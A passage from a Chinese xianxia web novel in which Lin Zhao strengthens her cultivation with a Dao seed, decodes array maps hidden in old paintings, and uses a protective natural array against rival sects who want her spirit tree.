“秦长老。”林照打断他,“您觉得,他们真的会满足于‘轮流感悟’吗?”
秦长老语塞。
不会。
修仙界的规则,从来都是弱肉强食。天地树这样的神物,要么彻底占有,要么彻底毁掉——绝不会允许它落在别人手里,成为威胁。
“那你说怎么办?”秦长老苦笑,“流云宗只是个小宗门,全宗上下加起来,还不够玄霄阁一个长老打的。我们护不住这棵树,更护不住你。”
这话残酷,却是现实。
林照低头看着阿茸。
小羊正仰头看着她,眼睛清澈,像两汪泉水。它似乎不懂这些纷争,只是用角轻轻顶她,像是在说:别怕,我在。
林照忽然笑了。
她蹲下身,摸摸阿茸的头,然后站起身,看向秦长老:
“七日后,我会去落星湖。”
“你去送死吗?”沈不言皱眉。
“不是送死,是讲道理。”林照说,“如果他们愿意讲道理的话。”
“如果他们不讲呢?”
林照看向怀里的道种,又看向院中的天地树,最后看向远方——那是晒谷观的方向,麦田在风中起伏,像一片金色的海。
“那我就告诉他们,”她轻声说,“树是我的,果子是我的,这片水土也是我的。想拿走,先问过我的斧头,问过我的麦子,问过……这片土地上所有不想被抢走东西的人。”
这话很轻,却有种斩钉截铁的坚定。
秦长老愣住了。
他忽然意识到,眼前这个看似柔弱的姑娘,骨子里有种比山石更硬的东西——那是老谷头留下的根,是晒谷观三百年的风骨,是愿意为一片麦田拔剑的决绝。
这样的决绝,他在镇渊子留下的记载里见过,在三叔公赴死时的眼神里见过,如今,在林照身上,又见到了。
“好。”秦长老深吸一口气,抱拳躬身,“流云宗上下,愿与林姑娘共进退。”
他身后的三名弟子,也齐齐抱拳,眼神坚定。
他们见证了林照如何净化噬灵,如何种出绿野,如何以一人之力挽狂澜于既倒。这样的恩情,这样的气魄,值得他们用命去还。
林照扶起秦长老:“先别急着拼命。还有七天,我们想想办法。”
送走秦长老后,林照在院子里坐了整整一个下午。
她看着天地树,看着道种,看着晒谷观的一草一木,脑子里闪过无数念头,又一一否决。
硬抗,必死。
妥协,不甘。
逃?能逃到哪里?天地树在这里,晒谷观在这里,她的根在这里。逃了,就什么都没了。
黄昏时,沈不言端来晚饭——小米粥,腌黄瓜,窝窝头。两人默默吃完,谁都没说话。
收拾碗筷时,沈不言忽然开口:“我有一个办法。”
“什么办法?”
“我回一趟师门。”沈不言说,“我师父是‘云游剑派’的掌门,虽然门派不大,但在东域还有些名望。若他愿意出面斡旋,或许能让七大宗门有所顾忌。”
林照怔了怔:“云游剑派?我怎么没听说过?”
“因为我们已经三十年没在东域走动了。”沈不言说,“师父说,修仙界太吵,不如云游四海,看山看水。所以我才会和李慕云陈砚他们来晒谷观看你——这也算是我云游的修行。”
这个解释,让林照有些意外,却又在情理之中。
沈不言的剑法,确实不像正统宗门的路数,更偏向自然,更随心。
“你师父会帮忙吗?”她问。
“会。”沈不言点头,“因为他欠老谷头一个人情。”
“什么人情?”
“三十年前,我师父重伤垂死,是老谷头用一碗麦粥救了他。”沈不言说,“这事师父从不对外说,但每次喝粥都会念叨:‘那碗粥的麦香,我记了一辈子。’”
林照眼眶微热。
又是老谷头。
那个看似平凡的老道士,到底在东域留下了多少善缘,埋下了多少种子?
“从这里到你师门,要多久?”她问。
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“全力赶路,三天可来回。”沈不言说,“但我需要你现在就做一件事。”
“什么事?”
“服下道种。”沈不言看着她,“我不是要你改变修行之路,是要你……有自保之力。我师父来斡旋,最多能争取时间,争取条件,但最终还是要靠你自己。你若没有实力,一切都是空谈。”
林照沉默。
她明白沈不言的意思。修仙界终究是实力为尊,没有实力,连讲道理的资格都没有。
可她还在犹豫。
沈不言也不催她,只是静静等着。
天色彻底暗下来,星光点点。
阿茸走过来,趴在她脚边,轻轻“咩”了一声。
林照低头看它。
小羊的眼睛在夜色中微微发亮,像两颗温柔的星星。它看着她,又看看她怀里的道种,然后用角轻轻顶了顶她的手,像是在说:吃吧,吃了就能保护大家了。
保护大家。
这四个字,像最后一根稻草,压垮了林照心里的天平。
是啊,她可以不在乎自己的修行之路,但不能不在乎晒谷观,不在乎阿茸,不在乎那些信任她、愿意与她共进退的人。
若她连自己都保护不了,又谈何保护别人?
她深吸一口气,从怀里取出道种。
果子在月光下泛着温润的青光,香气愈发纯粹。
“我吃。”她说。
沈不言点头,退开三步,为她护法。
林照盘膝坐下,将道种送入口中。
果子入口即化,化作一股温润的暖流,顺着喉咙滑下。起初很温和,像春天的溪水,滋润着干涸的经脉。但很快,暖流开始加速,变得汹涌,像决堤的江河,在她四肢百骸中奔流冲撞!
“唔……”林照闷哼一声,额头渗出冷汗。
她的灵根太驳杂了——金木水火土,五行俱弱,却又五行俱全。道种的药力进入后,像五条巨龙,各自寻找对应的属性,开始疯狂冲刷、重塑、补全。
金行药力涌入肺经,锐利如刀,刮去杂质。
木行药力涌入肝经,生机勃勃,催生新芽。
水行药力涌入肾经,柔和如泉,洗涤污垢。
火行药力涌入心经,炽烈如火,煅烧虚浮。
土行药力涌入脾经,厚重如山,稳固根基。
五股力量同时作用,痛苦难以言喻。林照感觉自己像被五马分尸,又像被放在炉火里反复煅烧。经脉在撕裂,又在修复;骨骼在碎裂,又在重组;血肉在消融,又在重生。
她咬紧牙关,死死撑着。
脑海里,闪过无数画面——
老谷头教她认麦苗:“这是冬麦,这是春麦,别看长得像,性子不一样。”
她在暴雨中观雨,雨水打在脸上,冰凉,却让她心境澄明。
她在玄霄阁试炼,扶起跌倒的陌生人,对方说:“谢谢。”
沈不言为她挡箭,血染白衣,却说“值得”。
秦老者燃烧寿元,化作光点,支撑天梯不坠。
那些村民献出牵挂,白光汇聚,温暖如春。
还有阿茸,总是用温热的鼻子蹭她的手,用清澈的眼睛看着她,用小小的身体,一次次挡在她面前。
这些画面,这些牵挂,这些“为什么而活”的理由,此刻化作最坚韧的意志,支撑着她,不被痛苦击垮。
不知过了多久,药力的冲刷终于开始缓和。
疼痛退去,取而代之的是一种前所未有的清明、通透、轻盈。
林照睁开眼。
世界,不一样了。
她看见空气中漂浮的五行灵气,像彩色的光点,清晰可辨。她听见十里外村庄里婴儿的啼哭,听见百里外落星湖的水波,听见千里外云层里的风声。
她内视自身——原本驳杂混沌的灵根,此刻已化作五道纯净的光柱,金青蓝红黄,五行俱全,完美平衡。光柱之间,有细小的光丝相连,形成一个生生不息的循环。
她的修为,从筑基初期,一路飙升到筑基后期,离结丹只差临门一脚。
但更重要的不是修为的提升,是“通透”。
以前修行,像在浓雾里摸索,走一步看一步。现在,雾散了,路清了,她知道该怎么走,知道往哪里走,知道为什么走。
这就是……补全灵根的感觉吗?
林照站起身,活动了一下手脚。身体轻盈得像一片羽毛,却又蕴含着磅礴的力量。她随手一挥,院角的一截枯木应声而断,断口平滑如镜。
“恭喜。”沈不言走过来,眼神复杂,“你现在,算是真正的天才了。”
林照却摇头:“我不是天才。我只是……运气好。”
运气好,遇见了老谷头,遇见了天地树种子,遇见了愿意帮她的人,遇见了这颗道种。
但运气,也是实力的一部分。
“你什么时候出发?”她问沈不言。
“现在。”沈不言说,“时间紧迫,越早越好。”
林照点头,从屋里取出一个小布袋,里面装着晒谷观的麦种和一把土:“这个带给你师父。就说……晒谷观的麦子熟了,问他来不来收。”
沈不言接过布袋,郑重收好。
“等我回来。”他说。
“嗯。”
没有多余的告别,沈不言转身,剑光一闪,人已消失在夜色中。
林照站在院子里,看着满天的星斗,感受着体内奔流的新生力量。
七天。
七天后,七大宗门将至。
她必须在这七天里,找到一条既能保住天地树,又能保全所有人的路。
一条……属于种地人的路。
30. 画中天地
沈不言走后的第二天,林照开始翻阅周言(林照和阿茸悬崖边老松树下刨出的画稿)。那些画稿一直收在晒谷观老谷头的木箱里,除了那幅《云海图》被她随身携带,其余的都封存在木箱。林照将画卷一张张铺在院中石磨上,阳光透过天地树的枝叶洒下,在画纸上投下斑驳的光影。
一共二十三幅画。
有山水,有花鸟,有人物,有市井。笔触或狂放或细腻,意境或雄浑或清幽,但无一例外,都透着一种独特的“真”——不是形似,是神似,是画者将自身对“道”的理解,融入了每一笔之中。
林照最先拿起那幅《山居图》。
画的是晒谷观。不是现在的晒谷观,是更古老的、还未破损时的晒谷观:三进院落,青瓦白墙,院里一棵老槐树,树下石桌石凳,一个老道士正在煮茶。观后是连绵的麦田,麦浪起伏,远山如黛,天空有雁阵飞过。
林照初看只觉得亲切,再看却发现了异样——
画中的晒谷观,布局暗合某种规律。
老槐树在院中偏东,树冠笼罩正房;石桌在院中偏西,正对观门;煮茶的老道士坐在树与桌之间的连线上,位置不偏不倚。再看麦田的田埂走向,远山的山脊脉络,甚至天上雁阵的飞行轨迹……所有这些,似乎都在指向同一个中心点。
那个点,就在观后麦田的某处。
林照心跳加快。
她拿着画,走出观门,来到麦田边。此时正是麦子灌浆的时节,麦穗沉甸甸的,在风中泛起金色的波浪。她按照画中的线索,一步步丈量、比对、推算。
向东三十七步,遇田埂转向。
沿田埂向南十九步,见一块青石。
青石左转,向西五步,再向北十一步——
她停住了。
脚下是一片普通的麦田,麦子长势很好,看不出任何特别。但当她蹲下身,拨开密集的麦秆,触摸脚下的泥土时,指尖传来一种奇异的触感。
土是温的。
不是被太阳晒暖的那种温,是从地底深处透出来的、恒定的温暖。而且土壤的质地也不同——更细腻,更润泽,隐隐有微光在土粒间流转。
林照用指甲抠了一点土,放在鼻尖轻嗅。
有淡淡的、类似檀香的气息,又混着草木的清新,还有一丝……极淡的血腥味。
是阵眼。
一个以山川为基、以草木为纹、以地脉为源的古老阵法,阵眼就在这里,在晒谷观的麦田深处。
林照站起身,环顾四周。
如果这里是阵眼,那整个晒谷观、甚至整个山谷,都可能在这个阵法的笼罩范围之内。周言画这幅画,不是为了记录风景,是为了留下阵图——留下一个可以守护这片水土的、最后的屏障。
她回到院里,继续看其他画。
《溪边牧童图》里,牧童坐的那块石头,位置暗合“坎”位;《雨中山寺图》里,寺庙飞檐的角度对应“离”位;《雪夜归舟图》里,渔火闪烁的节奏契合“震”位……
二十三幅画,二十三处阵脚。
若将这些阵脚全部激活,连成一体,便会形成一个覆盖方圆百里的巨型自然大阵。此阵不伤生灵,不阻风雨,只针对一种东西:
掠夺。
掠夺灵气,掠夺生机,掠夺一切不属于掠夺者的东西。
这是守护之阵,是“种地人”的阵法——只守护自己的一亩三分地,不贪别人的,但别人也别想来抢。
林照的心跳得更快了。
她不知道周言是从何处学得此阵,也不知道他为何要将阵图画在画中,但她知道,这是眼下唯一的希望。
七大宗门将至,硬抗必死,妥协不甘。唯有此阵,若能激活,或可让那些贪婪者知难而退。
可激活阵法,需要什么?
林照再次细看那些画。
这一次,她发现了更隐秘的细节:每幅画的角落,都有一枚极小的印记——不是印章,是笔触勾勒出的、类似符文的图案。二十三幅画,二十三种不同的符文。
她取出纸笔,将所有符文临摹下来。
当最后一个符文落笔的瞬间,纸张突然无风自动,二十三个符文同时亮起微光,在空中旋转、连接,最终化作一个复杂的立体图案——像一棵树,根系深扎,枝叶舒展,树干上流淌着青色的光流。
“这是……阵枢?”林照喃喃自语。
图案的核心,有一个空位。
那里本该有一个“枢纽”,连接所有阵脚,调度整个阵法。可周言没有画出来,是忘了,还是……故意留白?
林照正沉思,院外忽然传来急促的脚步声。
“林姑娘!不好了!”
是流云宗的弟子,跑得气喘吁吁,脸色惨白,“秦长老……秦长老在落星湖,被青云门的人打伤了!”
落星湖畔,气氛剑拔弩张。
湖心的绿野依然茂盛,那株新生的天地树苗已长到一丈五尺,树冠如伞,笼罩着方圆三丈的水面。树身上流转着温润的青色光晕,每一片叶子都晶莹剔透,像翡翠雕成。
树下,秦长老半跪在地,左臂软软垂下,显然已经骨折。他嘴角溢血,却依然昂着头,死死盯着对面那群人。
对面,十几个青衣修士负手而立,为首的是个中年道人,面白无须,眼神倨傲。他手中把玩着一块玉佩——那是秦长老的掌门信物,刚才被他一招夺下。
“秦守拙,”中年道人轻笑,“流云宗不过是个三流小派,也配独占此等神树?识相的,速速退去,我青云门可保你全宗性命。否则……”
他指尖用力,玉佩“咔嚓”一声,出现一道裂痕。
秦长老目眦欲裂:“凌霄子答应七日后再议,你们青云门凭什么提前动手?!”
“凌霄子答应,我青云门可没答应。”中年道人嗤笑,“玄霄阁自诩正道魁首,做事总要讲究个脸面。但我青云门不同——我们只讲实力。实力不够,就不配谈条件。”
他身后,一个年轻弟子谄媚道:“刘长老说得对。这神树乃天地造化,能者居之。流云宗占着茅坑不拉屎,白白浪费机缘。”
其他青云门弟子哄笑起来。
流云宗的弟子们气得浑身发抖,却不敢妄动——对方为首的是青云门内门长老□□,金丹中期修为,而流云宗修为最高的秦长老只是筑基圆满,其余弟子更是不堪一击。
实力悬殊,如云泥之别。
“□□,”秦长老咬牙,“你今日强夺神树,就不怕其他六宗不满吗?”
“不满?”□□笑了,“等我将神树移回青云门,护山大阵一开,他们再不满又能如何?况且……你以为其他宗门就老实等着?据我所知,紫阳宗、赤焰谷的人马也在路上了,最迟明天就到。大家都是聪明人,谁先得手,就是谁的。”
他不再废话,挥手下令:“去,把那棵树挖出来。小心点,根须要完整,少一根,我拿你们是问!”
“是!”
几个青云门弟子应声而出,祭出法器,就要破开绿野,挖掘树根。
“住手!”
一声清喝,从远处传来。
众人转头,只见一道青影如风掠至,落在秦长老身前。
是林照。
她一身粗布衣衫,手持铁斧,眼神平静,却有种不怒自威的气势。阿茸跟在她身后,金角微亮,琥珀色的眼睛冷冷盯着□□。
“哟,正主来了。”□□上下打量林照,眼中闪过一丝惊讶——他竟看不出这女子的修为深浅,但看年纪不过二十,想来最多筑基初期,不足为惧。
“林姑娘,”秦长老低声道,“小心,他是金丹中期……”
林照点头,示意他不必多说。她看向□□,声音清晰:“七日之约未到,青云门便出手伤人夺宝,这就是正道大宗的风范?”
□□哈哈大笑:“小丫头,修仙界弱肉强食,哪有什么风范不风范?倒是你,听说你拔了镇魔剑,净化了噬灵,有点本事。不如这样——你将那棵树的果实交出来,再告诉我培育神树的法门,我可收你为记名弟子,带你入青云门,如何?”
这话看似施恩,实则是赤裸裸的掠夺。
林照也笑了:“刘长老好意,我心领了。但我这人,习惯了自己种地自己吃,不爱去别人家讨饭。”
“敬酒不吃吃罚酒。”□□脸色一沉,“那就别怪我不客气了。”
他抬手,五指虚握。
空气中,灵气骤然汇聚,化作一只青色巨掌,朝林照当头抓下!巨掌未至,威压已让周围流云宗弟子呼吸困难,纷纷后退。
金丹之威,恐怖如斯。
秦长老急道:“林姑娘快躲!”
林照没躲。
她只是抬起斧头,斧尖斜指地面,做了一个再简单不过的动作——
锄地。
像老农在田间锄草,像樵夫在山中劈柴,像所有靠土地吃饭的人,日复一日重复的那个动作。
斧身划过空气,带起一道温润的青光。
青光触到青色巨掌的瞬间,没有爆裂,没有对抗,而是……融入。
像雨水渗入干涸的土地,像种子埋进肥沃的土壤,像所有自然而然、本该如此的事情。
巨掌停顿了。
然后,在所有人震惊的目光中,巨掌开始分解——不是破碎,是“生长”。掌心的灵气化作青藤,指节的灵气化作野花,掌缘的灵气化作麦苗……短短三息,那只足以捏碎山石的巨掌,竟化作一团生机勃勃的绿意,飘然落地,融入湖边的草丛。
□□脸上的笑容僵住了。
“这是什么妖法?!”他厉声喝问。
“不是妖法,”林照收剑,“是种地。”
她向前一步,脚下的绿野忽然活了。
不是夸张——是真的活了。青草蔓延伸长,野花摇曳绽放,藤蔓如蛇游走,所有植物都在响应她的脚步,在她身前铺开一条翠绿的道路。
阿茸走在她身边,金角光芒大盛。光芒所及之处,绿野中的草木更加兴奋,甚至有树木开始移动根系,缓缓改变位置,形成一个隐约的包围圈。
□□脸色变了。
他修为金丹,见识自然不凡。此刻他清晰感受到,整个落星湖周边的地脉灵气,都在向这个女子汇聚——不,不是汇聚,是“臣服”。那些灵气像归家的游子,像认主的良驹,心甘情愿地听从她的调遣。
这绝不是一个筑基修士能做到的!
“你……你究竟是什么修为?!”□□后退半步,声音发紧。
林照没回答。
她只是看着那株天地树苗,轻声说:“这棵树,是我种的。这片绿野,是我养的。落星湖的水土,
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是我守的。你们想抢,可以,但得先问过它们答不答应。”
话音落下,绿野骤然沸腾!
无数草木疯狂生长,藤蔓冲天而起,花朵喷吐香气,树叶沙沙作响——那不是普通的声音,是某种古老的语言,是大地在低语,是草木在歌唱。
青云门的弟子们惊恐地发现,他们脚下的土地开始变得“粘稠”。每走一步都像踩在泥沼里,灵气运转滞涩,法器光芒暗淡。有弟子试图御剑飞起,可刚离地三尺,就被藤蔓缠住脚踝,狠狠拽了下来。
“这是……阵法?!”□□终于看出来了,“你什么时候布下的阵法?!”
“不是我布的,”林照说,“是这片水土自己布的。千年以来,所有在这里生长过的草木,所有在这里生活过的人,所有在这里发生过的故事——它们共同组成了这个阵。我只是……让它们醒来而已。”
她抬手,指向□□。
绿野中,无数藤蔓如箭射出!
□□厉喝一声,祭出一面青色盾牌。盾牌迎风而涨,化作三丈大小,护住他和身后弟子。藤蔓撞在盾牌上,发出沉闷的撞击声,却无法突破。
“雕虫小技!”□□冷笑,“区区草木之阵,也想困住金丹修士?”
他咬破舌尖,喷出一口精血在盾牌上。盾牌光芒暴涨,表面浮现出狰狞的兽头图案。兽头张口,喷出青色火焰——那是青云门的独门真火“青冥焰”,专克木属性法术。
火焰过处,藤蔓纷纷枯萎,绿野被烧出一片焦黑。
□□得意大笑:“小丫头,你这阵法借的是草木之力,而我青冥焰专烧草木!我看你还怎么——”
笑声戛然而止。
因为他看见,那些被烧焦的草木,正在以肉眼可见的速度重新生长。
不是从根部发芽,是从焦黑的残骸上直接抽出新芽。新芽青翠欲滴,生机勃勃,甚至比之前更加茂盛。而青冥焰烧得越旺,新芽长得越快,转眼间就覆盖了所有焦痕,甚至反扑向盾牌!
“这不可能!”□□失声。
“没什么不可能。”林照轻声说,“你烧的是表象,我守的是根本。只要这片土地还在,只要地脉不绝,草木就会生生不息——就像麦子,一茬烧了,下一茬还会长出来。你烧得完吗?”
她话音很轻,却像重锤砸在□□心头。
他忽然意识到,自己犯了一个致命的错误——把这场争斗,当成了修士之间的斗法。可对方根本不是在斗法,是在“种地”。
种地是什么?是春种秋收,是生生不息,是和时间做朋友,和大自然做伙伴。你烧一把火,我种一茬苗;你毁一片田,我开一片荒。只要人还在,只要心不死,土地就永远不会真正荒芜。
这样的对手,怎么打?
□□萌生退意。
可就在他犹豫的瞬间,林照动了。
不是攻击他,是走向那株天地树苗。
她伸手,轻轻触摸树干。树身微颤,叶片哗哗作响,像是在回应。然后,她转过身,看向所有青云门弟子,声音传遍湖畔:
“我知道,你们想要这棵树,想要道种,想要快速提升修为,想要在修仙路上走得更远。这没有错,人都有向上的心。”
她顿了顿,话锋一转:“但向上的路,不止一条。有人靠掠夺,有人靠苦修,有人靠机缘,有人靠传承——我靠种地。”
“种地很慢,很苦,看天吃饭,随时可能颗粒无收。但种地也很踏实,每一分收获都清清楚楚,每一寸成长都实实在在。今天你们抢了这棵树,或许能快一时,但你们真的……能走到最后吗?”
这话像一盆冷水,浇在所有人头上。
青云门的弟子们沉默了。
他们想起宗门里的勾心斗角,想起为了一点资源你死我活的竞争,想起那些卡在瓶颈数十年不得寸进的师叔师伯……抢,真的能解决一切吗?
□□脸色变幻不定。
最终,他深吸一口气,收起盾牌,抱拳:“今日,是我青云门唐突了。七日之约,我们会等。”
他深深看了林照一眼,转身:“走!”
青云门弟子如蒙大赦,纷纷跟上。
看着他们远去的背影,秦长老长长松了口气,随即又忧虑道:“林姑娘,今天虽然吓退了青云门,但其他宗门……”
“我知道。”林照收回手,绿野渐渐恢复平静,“今天能退一个□□,是因为他惜命,也因为……我借了这片水土千年积累的势。但下次来的,可能就不止一个金丹,可能就不止一个宗门。”
她看向怀里的那叠画稿。
二十三个符文还在纸上微微发光,阵枢的空位依然醒目。
“我需要找到阵枢,”她轻声说,“在七大宗门齐聚之前,激活整个阵法。只有这样,才能真正守住这片水土。”
可阵枢在哪里?
周言没有画出来,是遗失了,还是……藏在了别处?
林照正思索,阿茸忽然用角顶了顶她的腿,然后转身,朝着晒谷观的方向,长长叫了一声:
“咩——”
声音清澈,在湖面回荡。
林照心头一动。
她想起周言最后那幅画——那幅《牧童遥指杏花村》,牧童手指的方向,不是杏花村,是……晒谷观的后山。
难道阵枢,在那里?
31. 古洞遗篇
后山的路,林照走过无数次。
小时候跟老谷头上山采药,春天挖野菜,秋天捡栗子,冬天寻枯枝。每一条小径,每一块山石,她都熟悉得像自己的掌纹。可阿茸带她走的这条路,她却从未见过。
那是一条被藤蔓彻底覆盖的隐秘小径,隐藏在晒谷观后山最陡峭的崖壁下。藤蔓粗如儿臂,叶片墨绿,开着淡紫色的小花,香气清幽。阿茸用金角拨开藤蔓,露出仅容一人通过的窄缝。
林照弯腰钻进去。
缝隙很窄,岩壁潮湿,长满青苔。走了约莫十余丈,眼前豁然开朗——竟是一个天然形成的岩洞。洞顶有裂缝,天光漏下,照亮洞内景象。
洞不大,方圆三丈。中央有一方青石台,台上放着一本泛黄的册子,封面无字,边角磨损得厉害。石台旁,散落着几个陶罐,罐口封着蜡,不知里面装着什么。
最引人注目的是洞壁——上面刻满了画。
不是用颜料画的,是用指尖或利器,直接在岩石上勾勒出的线条。线条粗犷却传神,一幅接一幅,从洞口一直延伸到洞底,记录着同一个人的一生:
第一幅:少年在山中砍柴,抬头看云。
第二幅:青年拜师学画,师父摇头:“你画得太真,不像。”
第三幅:中年游历四方,画山画水画人间。
第四幅:遇见一个青衣道人,两人在月下对饮。
第五幅:道人指地,他俯身查看,面露惊容。
第六幅:两人结伴探地脉,发现“空腔”。
第七幅:道人布阵,他在一旁记录。
第八幅:道人坐化,他跪地痛哭。
第九幅:他回到这里,开始刻这些画。
第十幅:最后一幅,只有一行字:
“镇渊兄,你守你的麦田,我守你的画。千年之后,若有来者,当知此心。”
落款:周云鹤。
林照的手轻轻抚过那些斑驳的刻痕。指尖传来岩石粗糙的触感,也传来一种跨越千年的、沉甸甸的孤独。
原来周云鹤不仅是画师,还是镇渊子的见证者、记录者、守护者。
他在这里刻下这些画,不是给后人看,是给自己看——提醒自己不要忘,不要走,不要辜负那句“你守你的麦田,我守你的画”的约定。
一守,就是一辈子。
林照眼眶发热。她走到石台前,拿起那本册子。
册子很轻,纸页脆弱得像蝴蝶的翅膀。她小心翼翼翻开第一页,墨迹已经淡了,但字迹依然清晰:
“余周云鹤,生于东域青州,少好丹青,长游四方。遇镇渊子于落星山,一见如故。镇渊兄言地底有‘贪魔’将出,欲以身为祭,封魔镇渊。余劝之,不从。镇渊兄笑曰:‘人各有志。你画你的画,我种我的田,皆是守心。’余默然。
后三年,余伴镇渊兄勘探地脉,绘制阵图。镇渊兄创‘自然大阵’,以山川为骨,以草木为脉,以地气为血,可护一方水土千年。然此阵需‘阵枢’调度,阵枢非金非玉,非符非器,乃‘心’也。
镇渊兄问余:‘此阵若成,谁来掌枢?’
余答:‘我。’
镇渊兄摇头:‘你心有牵挂,牵挂即软肋。掌枢者需无牵无挂,方可不偏不倚。’
余问:‘何人无牵挂?’
镇渊兄望天,不语。
今镇渊兄已去,余独守此洞,参悟阵道百年,终明其理:牵挂非软肋,乃根基。无根之木不长,无源之水不流。阵枢非无情,乃大情——情系一方水土,情系万物生灵,情系所有平凡而珍贵的存在。
故余改阵枢之法,以‘心念’为引,以‘牵挂’为源。后世若有缘者至此,当知:此阵不拒外敌,只护本真。凡心怀掠夺者,入阵即缚;凡心存守护者,入阵即助。
阵图二十有三,阵脚遍布百里。阵枢在此洞,亦在……汝心。”
看到这里,林照心跳如鼓。
她终于明白了。
周云鹤留下的二十三幅画,是阵脚的位置图。而这本册子,是阵枢的传承——不是具体的法器或符印,是一种“心境”,一种“道念”。
只要她的心与这片水土相连,与这方天地共鸣,她就是阵枢。不需要额外炼化,不需要复杂仪式,只要她站在这里,心怀守护,大阵自然为她所用。
就像之前在落星湖,她只是起了守护之念,绿野便响应她的意志。
那不是偶然,是她已经无意中触摸到了“阵枢”的门槛。
林照继续往后翻。
册子后面记载了周云鹤参悟阵道的详细心得,包括如何感应地脉,如何沟通草木,如何以画入道,如何将自身意念融入山川。许多内容艰深晦涩,但林照读来却莫名亲切——因为周云鹤的感悟,很多都来自最朴素的观察:
“观麦浪起伏,悟灵气波动之理。”
“听溪水潺潺,明阵法流转之序。”
“见老农犁地,知破阵当如破土,顺势而为。”
这些道理,和林照这些年种地修行的体悟,何其相似。
她看得入神,不知不觉已到册子最后一页。
这一页没有文字,只有一幅简笔画:一个人站在山顶,手指远方。远方不是山,不是云,而是一道……阶梯。
阶梯从地面升起,直插云霄,尽头隐没在光芒中。
画的右下角,有一行小字:
“天梯现世之日,余曾远观。梯上有仙光,亦有血光。登者众,归者寡。镇渊兄临终言:‘天梯非通天,通囚笼耳。’余不解。今将坐化,忽有所悟:若仙需斩情断欲,那仙与人,何异于囚徒与自由人?宁做凡人,守一亩麦田,不负此生。”
这段话,像一道惊雷劈在林照心头。
天梯是囚笼?
她想起百晓生的话,想起镇渊子的记忆碎片,想起自己登上天梯时看到的那些人间景象……如果天梯尽头不是仙界,而是囚禁“仙”的地方,那千年来无数修士前仆后继的飞升,岂不是一个巨大的骗局?
她正震撼,洞外忽然传来阿茸急促的叫声:
“咩!咩咩!”
林照收起册子,冲出山洞。
洞外已是黄昏。夕阳如血,染红了半边天。阿茸站在崖边,仰头对着天空某处,金角光芒急促闪烁,像是警示。
林照顺着它的视线看去,瞳孔骤缩——
远天之上,有三道流光正朝晒谷观方向疾驰而来。流光的颜色各异:一道赤红如火,一道紫气氤氲,一道土黄厚重。
“是赤焰谷、紫阳宗、黄沙派的人!”林照心头一紧,“他们提前到了!”
而且一来就是三宗联手。
看那速度,最多一刻钟就会抵达晒谷观。
林照转身就要下山,却被阿茸咬住衣角。
“咩……”阿茸摇头,用角指向山洞深处,又指向她怀里的册子。
林照明白了:阿茸是要她先掌握阵枢。
可时间太紧了。一刻钟,连读完册子都勉强,更别说参悟了。
她看着手中的册子,又看看远方越来越近的流光,咬咬牙,做了一个决定——
不读了。
直接“种”。
就像种麦子,不是先学会所有理论再下地,而是先下地,在劳作中学会。
她盘膝坐在洞口,将册子放在膝上,闭上眼,不再试图理解那些文字和道理,而是直接感受——
感受脚下土地的脉动,感受山间草木的呼吸,感受风中带来的水汽和温度,感受夕阳余晖洒在身上的暖意,感受阿茸站在身边的安心。
这些感受,汇聚成一种最朴素的情感:
这里是家,不能让人抢走。
这个念头一起,她怀里的册子忽然无风自动,哗啦啦翻到某一页。那一页上,没有文字,只有一个简化的阵图——二十三个光点,围绕着一个核心。
核心处,是一个心形的图案。
林照的意念沉入那个心形图案。
瞬间,她“看”到了百里之内的山川地势——
晒谷观所在的这座山,是阵眼。落星湖是阵心。二十三处阵脚如星辰散布,彼此以地脉为线相连,形成一个巨大的、缓慢运转的灵气网络。
而她,正坐在网络的最中心。
她尝试着,将自己的“守护之念”,注入这个网络。
起初很微弱,像一滴水落入大海。但渐渐地,越来越多的“水滴”汇聚而来——那是这片土地上,所有生灵的“守护之念”。
麦田里的麦苗在风中摇晃,传递着“想成熟,想被收割,想变成馒头填饱孩子的肚子”的意念。
山间的野兔躲在洞里,传递着“想活下去,想春天生一窝小兔”的意念。
村庄里的老人在灶前烧火,传递着“想等儿子回家,一起吃顿热饭”的意念。
流云宗的弟子在湖边巡逻,传递着“想守住这片湖,守住宗门根基”的意念。
甚至那些石头,那些溪流,那些千百年来不曾移动的山峦,都传递着一种更古老、更沉默的意念:
“在这里,一直在这里。”
这些意念,千千万万,汇聚成河,涌入林照的心,又通过她这个“阵枢”,注入整个自然大阵。
大阵,活了。
不是之前那种局部的、被动的响应,是完整的、主动的苏醒。
百里之内,所有草木同时一震。树叶无风自动,草茎微微发光,地脉灵气如春水般开始流淌、循环、加固。
一种无形的“域”,悄然展开。
这个域不排斥任何人,但会感应每个人的“心念”。心怀掠夺者,入域则步履维艰,灵气滞涩;心怀守护者,入域则如鱼得水,天地同力。
林照睁开眼。
她眼中闪过一丝淡青色的光芒,随即隐去。她站起身,感觉自己和脚下这片土地,有了一种前所未有的紧密联系——就像树和根,鱼和水,不可分割。
“我们下山。”她对阿茸说。
阿茸点头,跟在她身后。
一人一羊,沿着来路返回晒谷观。
刚走到观门口,天空中的三道流光已至,落在观前空地上。
赤红流光中走出一名红袍老者,须发皆赤,眼神如炬,正是赤焰谷长老炎阳子。
紫气流光中走出一名紫衫美妇,云鬓高挽,气质雍容,是紫阳宗长老紫韵真人。
土黄流光中走出一名黄衣壮汉,身高九尺,肌肉虬结,是黄沙派长老石岳。
三人落地,目光同时锁定林照。
炎阳子最先开口,声音洪亮如钟:“小丫头,你就是林照?听说你得了天地树的道种,还养出一片神树绿野。交出培育之法,我赤焰谷可保你周全。”
紫韵真人轻笑:“炎阳道友好生霸道。林姑娘,我紫阳宗以炼丹闻名,最擅培育灵植。你若愿入我宗,我可收你为亲传,传你无上丹道。”
石岳则直接许多:“少废话!树在哪儿?带路!”
三人语气不同,但目的相同:要树,要法,要好处。
林照站在观门前,身后是晒谷观斑驳的柴扉,身前是三位金丹修士的威压。晚风吹起她的粗布衣角,她握紧镇魔剑,面色平静:
“树在落星湖,法在我心中。想要,自己去看,自己来拿。”
这话不卑不亢,却让三人都是一愣。
他们原以为,一个小小筑基修士,见到三位金丹联袂而至,该是惶恐跪地、主动献宝才对。可这女子,竟敢如此回应?
炎阳子眯起眼:“小丫头,你可知道,我们三人中任何一人,动动手指就能让你灰飞烟灭?”
“知道。”林照点头,“但你们不敢。”
“不敢?”石岳怒极反笑,“就凭你这破道观?”
“不,”林照摇头,“凭这片土地,不答应。”
话音落下,观前空地忽然震动!
不是地震,是地下的草木根系在生长、在移动、在布阵。青石缝隙里,野草疯狂抽出;墙根角落,藤蔓悄然蔓延;就连远处麦田的麦穗,都齐刷刷转向这个方向。
一种无形的压迫感,从四面八方涌来。
